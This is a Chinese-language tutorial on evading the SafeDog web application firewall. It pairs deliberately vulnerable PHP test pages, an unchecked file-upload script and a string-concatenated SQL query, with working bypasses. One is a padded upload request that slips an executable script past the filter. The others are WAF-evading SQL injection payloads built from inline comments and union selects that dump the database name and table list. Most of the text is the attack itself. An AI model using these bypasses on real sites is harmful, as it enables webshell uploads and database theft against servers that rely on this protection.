一，绕过安全狗上传可执行脚本

附上php上传脚本源码，此源码未对上传文件类型做校验

<?php

    move_uploaded_file($_FILES["file"]["tmp_name"],"./" . $_FILES["file"]["name"]);

    echo "Stored in: " . "./" . $_FILES["file"]["name"];

?>

<form action="" method="post" enctype="multipart/form-data">

<input type="file" name="file" id="file" /> 

<input type="submit" name="submit" value="Submit" />

</form>

绕过方法，工具：burpsuite

1,用 php脚本或者js，python等其他语言，生成48930个字符

<?php 

for ($i=0; $i <= 48930; $i++) { 

    echo 'o';

}

?>

2,抓包，改包

3，添加后如图：

4，查看当前目录，上传成功1

二，sql注入绕过安全狗

1，测试文件，明显的字符型 SQL注入

<?php

    header("Content-type: text/html; charset=utf-8");

    $link = mysql_connect("localhost","root","root");

    mysql_select_db("test",$link);

    $sql = "select * from cms where id='{$_GET['id']}'";

    echo $sql;

    echo '<br>-----------------------------<br>';

    $res = mysql_query($sql);

    while ( $rows = mysql_fetch_array($res)) {

        echo $rows[0];

        echo $rows[1];

        echo $rows[2];

    }

?>

2，正常运行界面

3，添加注入测试语句

[http://localhost/waf123.php?id=3'](http://localhost/waf123.php?id=3') and 1=1 --+

4，修改测试语句

[http://localhost/waf123.php?id=3'/*!and*/%202e1/**/=2e1--+](http://localhost/waf123.php?id=3'/*!and*/%202e1/**/=2e1--+)

5,暴库

http://localhost/waf123.php?id=2e1'/*!and*/ 2e1/**/=2e1union(/*.1112*//**//*!*/(select@1/**/,2,database/**/(),4,5))--+

6，爆表

http://localhost/waf123.php?id=2e1'/*!and*/ 2e1/**/=2e1union(/*.1112*//**//*!*/(select@1/**/,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=0x74657374))--+
